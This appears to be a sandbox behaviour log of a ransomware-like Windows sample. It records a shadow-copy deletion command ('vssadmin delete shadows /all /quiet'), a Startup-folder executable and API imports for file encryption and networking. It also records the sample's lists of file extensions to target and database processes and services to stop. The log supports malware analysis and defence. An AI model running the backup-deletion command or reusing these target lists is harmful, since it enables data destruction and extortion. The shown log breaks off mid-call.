os_parent_pid = "0x658" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9a0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0x6b8 Process: id = "11" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x729e7000" os_pid = "0x6fc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x658" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9a0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 63 os_tid = 0x700 Thread: id = 67 os_tid = 0x734 Thread: id = 68 os_tid = 0x73c Thread: id = 69 os_tid = 0x750 Thread: id = 70 os_tid = 0x754 Process: id = "12" image_name = "3g6885.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe" page_root = "0x69385000" os_pid = "0x7b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x568" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe\" -a" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9a0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 71 os_tid = 0x530 [0172.093] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76e10000 [0172.097] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileW") returned 0x76e254ee [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileW") returned 0x76e39af0 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileSizeEx") returned 0x76e259e2 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesW") returned 0x76e21b18 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameW") returned 0x76e2dd0e [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetComputerNameA") returned 0x76e3b6e0 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexW") returned 0x76e2424c [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenW") returned 0x76e21700 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="lstrlenA") returned 0x76e25a4b [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0172.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalDrives") returned 0x76e25371 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77842270 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="OpenMutexW") returned 0x76e25151 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x778422b0 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForMultipleObjects") returned 0x76e24220 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiW") returned 0x76e3d5cd [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="lstrcmpiA") returned 0x76e23e8e [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x778545f5 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseMutex") returned 0x76e2111e [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0172.099] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceFrequency") returned 0x76e241f0 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileAttributesW") returned 0x76e3d4f7 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="GetVolumeInformationW") returned 0x76e3c860 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileW") returned 0x76e24435 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77861f6e [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7784e026 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="CreatePipe") returned 0x76ea415b [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="SetHandleInformation") returned 0x76e3195c [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringA") returned 0x76e23c5a [0172.100] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0172.101] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0172.101] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTime") returned 0x76e25a96 [0172.101] GetProcAddress (hModule=0x76e10000, lpProcName="SystemTimeToFileTime") returned 0x76e25a7e [0172.101] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0172.101] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0172.101] GetProcAddress (hModule=0x76e10000, lpProcName="Process32NextW") returned 0x76e4896c [0172.101] GetProcAddress (hModule=0x76e10000, lpProcName="Process32FirstW") returned 0x76e48baf [0172.101] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x770c0000 [0172.160] GetProcAddress (hModule=0x770c0000, lpProcName="RegOpenKeyExW") returned 0x770d468d [0172.160] GetProcAddress (hModule=0x770c0000, lpProcName="RegQueryValueExW") returned 0x770d46ad [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="RegSetValueExW") returned 0x770d14d6 [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="RegCloseKey") returned 0x770d469d [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="OpenProcessToken") returned 0x770d4304 [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="GetTokenInformation") returned 0x770d431c [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="OpenSCManagerW") returned 0x770cca64 [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="OpenServiceW") returned 0x770cca4c [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="CloseServiceHandle") returned 0x770d369c [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="ControlService") returned 0x770e7144 [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="QueryServiceStatus") returned 0x770d2a86 [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="EnumDependentServicesW") returned 0x770c1e3a [0172.161] GetProcAddress (hModule=0x770c0000, lpProcName="EnumServicesStatusExW") returned 0x770cb466 [0172.161] LoadLibraryA (lpLibFileName="user32.dll") returned 0x753f0000 [0172.178] GetProcAddress (hModule=0x753f0000, lpProcName="SystemParametersInfoW") returned 0x754090d3 [0172.178] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75520000 [0172.183] GetProcAddress (hModule=0x75520000, lpProcName="ShellExecuteExW") returned 0x75541e46 [0172.183] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77820000 [0172.183] GetProcAddress (hModule=0x77820000, lpProcName="NtQuerySystemInformation") returned 0x7783fda0 [0172.183] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x739c0000 [0172.185] GetProcAddress (hModule=0x739c0000, lpProcName="WNetCloseEnum") returned 0x739c2dd6 [0172.185] GetProcAddress (hModule=0x739c0000, lpProcName="WNetOpenEnumW") returned 0x739c2f06 [0172.185] GetProcAddress (hModule=0x739c0000, lpProcName="WNetEnumResourceW") returned 0x739c3058 [0172.185] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x769a0000 [0172.189] GetProcAddress (hModule=0x769a0000, lpProcName="WSAStartup") returned 0x769a3ab2 [0172.189] GetProcAddress (hModule=0x769a0000, lpProcName="socket") returned 0x769a3eb8 [0172.189] GetProcAddress (hModule=0x769a0000, lpProcName="send") returned 0x769a6f01 [0172.189] GetProcAddress (hModule=0x769a0000, lpProcName="recv") returned 0x769a6b0e [0172.189] GetProcAddress (hModule=0x769a0000, lpProcName="connect") returned 0x769a6bdd [0172.189] GetProcAddress (hModule=0x769a0000, lpProcName="closesocket") returned 0x769a3918 [0172.189] GetProcAddress (hModule=0x769a0000, lpProcName="gethostbyname") returned 0x769b7673 [0172.189] GetProcAddress (hModule=0x769a0000, lpProcName="inet_addr") returned 0x769a311b [0172.189] GetProcAddress (hModule=0x769a0000, lpProcName="ntohl") returned 0x769a2d57 [0172.190] GetProcAddress (hModule=0x769a0000, lpProcName="htonl") returned 0x769a2d57 [0172.190] GetProcAddress (hModule=0x769a0000, lpProcName="htons") returned 0x769a2d8b [0172.190] GetProcessHeap () returned 0x4b0000 [0172.190] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4c41c8 [0172.190] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=11151322503) returned 1 [0172.190] GetTickCount () returned 0x113aad0 [0172.190] GetCurrentProcessId () returned 0x7b0 [0172.191] GetTickCount () returned 0x113aad0 [0172.191] GetTickCount () returned 0x113aad0 [0172.191] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20) returned 0x4c41f0 [0172.191] GetVersion () returned 0x1db10106 [0172.191] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4b37b0 [0172.191] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0cd0 [0172.191] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0cd0, Size=0x20) returned 0x4c4240 [0172.191] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4240, Size=0x40) returned 0x4c47b0 [0172.191] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4c4a28 [0172.191] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3G6885A") returned 0x84 [0172.191] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b37b0 | out: hHeap=0x4b0000) returned 1 [0172.191] lstrlenW (lpString="Global\\syncronize_") returned 18 [0172.191] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c47b0 | out: hHeap=0x4b0000) returned 1 [0172.191] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x7) returned 0x4b37b0 [0172.191] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0cd0 [0172.191] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0cd0, Size=0x20) returned 0x4c4240 [0172.191] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4240, Size=0x40) returned 0x4c47b0 [0172.191] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4d4a30 [0172.192] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_3G6885U") returned 0x88 [0172.192] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b37b0 | out: hHeap=0x4b0000) returned 1 [0172.192] lstrlenW (lpString="Global\\syncronize_") returned 18 [0172.192] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c47b0 | out: hHeap=0x4b0000) returned 1 [0172.192] GetVersion () returned 0x1db10106 [0172.192] GetCurrentProcess () returned 0xffffffff [0172.192] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0172.192] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0172.192] CloseHandle (hObject=0x8c) returned 1 [0172.192] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0172.192] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0172.192] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4b37b0 [0172.192] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4c0cd0 [0172.192] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c0cd0, Size=0x20) returned 0x4c4240 [0172.192] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4240, Size=0x40) returned 0x4c47b0 [0172.192] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c47b0, Size=0x80) returned 0x4c47b0 [0172.192] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c47b0, Size=0x100) returned 0x4c47b0 [0172.192] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x34) returned 0x4c48b8 [0172.192] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c08c0 [0172.192] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c08d0 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c08e0 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0cd0 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c48f8 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0ce8 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c48f8, Size=0x8) returned 0x4c48f8 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0d00 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c48f8, Size=0x10) returned 0x4c48f8 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0d18 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0d30 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c48f8, Size=0x20) returned 0x4c48f8 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0d48 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0d60 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c08c0, Size=0x8) returned 0x4c08c0 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c08d0, Size=0x8) returned 0x4c08d0 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4920 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c0d78 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4930 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4c0d90 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4930, Size=0x8) returned 0x4c4930 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4a50 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4930, Size=0x10) returned 0x4c4930 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4a68 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4948 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4930, Size=0x20) returned 0x4c4958 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c08c0, Size=0x10) returned 0x4c4930 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c08d0, Size=0x10) returned 0x4c4980 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c08c0 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4a80 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c08d0 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4a98 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c08d0, Size=0x8) returned 0x4c08d0 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4998 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4ab0 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c49a8 [0172.193] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4ac8 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c49a8, Size=0x8) returned 0x4c49a8 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4930, Size=0x20) returned 0x4c49b8 [0172.193] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4980, Size=0x20) returned 0x4e4e38 [0172.194] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4c4980 [0172.194] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4ae0 [0172.194] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4930 [0172.194] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4e4af8 [0172.194] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4930, Size=0x8) returned 0x4c4930 [0172.194] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e4e60 [0172.194] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e4e80 [0172.194] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0172.194] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c47b0 | out: hHeap=0x4b0000) returned 1 [0172.194] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0172.201] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b10 [0172.201] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b10, Size=0x20) returned 0x4c4448 [0172.201] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4448, Size=0x40) returned 0x4c4808 [0172.201] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4808, Size=0x80) returned 0x4c4808 [0172.201] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4808, Size=0x100) returned 0x4e5158 [0172.201] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b10 [0172.201] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e4b10, Size=0x20) returned 0x4c4448 [0172.202] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4448, Size=0x40) returned 0x4c4808 [0172.202] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4808, Size=0x80) returned 0x4c4808 [0172.202] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4808, Size=0x100) returned 0x4e5260 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4b10 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4808 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4e4b28 [0172.202] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4808, Size=0x8) returned 0x4c4808 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4c4818 [0172.202] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4808, Size=0x10) returned 0x4c4838 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4c4850 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4c4448 [0172.202] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4838, Size=0x20) returned 0x4c4870 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1c) returned 0x4c4470 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x16) returned 0x4c4898 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1a) returned 0x4c4498 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4e4b40 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c4808 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40) returned 0x4e5368 [0172.202] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4808, Size=0x8) returned 0x4c4808 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3c) returned 0x4e53b0 [0172.202] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4808, Size=0x10) returned 0x4c4838 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4e53f8 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x18) returned 0x4e5418 [0172.202] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4838, Size=0x20) returned 0x4e5438 [0172.202] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x24) returned 0x4e5460 [0172.202] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0172.202] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5158 | out: hHeap=0x4b0000) returned 1 [0172.202] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0172.202] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5260 | out: hHeap=0x4b0000) returned 1 [0172.202] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4e59e0 [0172.205] EnumServicesStatusExW (in: hSCManager=0x4e59e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0172.206] GetLastError () returned 0xea [0172.206] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x4e92e0 [0172.206] EnumServicesStatusExW (in: hSCManager=0x4e59e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4e92e0, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4e92e0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0172.206] CloseServiceHandle (hSCObject=0x4e59e0) returned 1 [0172.208] lstrlenW (lpString="Appinfo") returned 7 [0172.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0172.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0172.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0172.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0172.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0172.208] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0172.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.208] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0172.208] lstrcmpiW 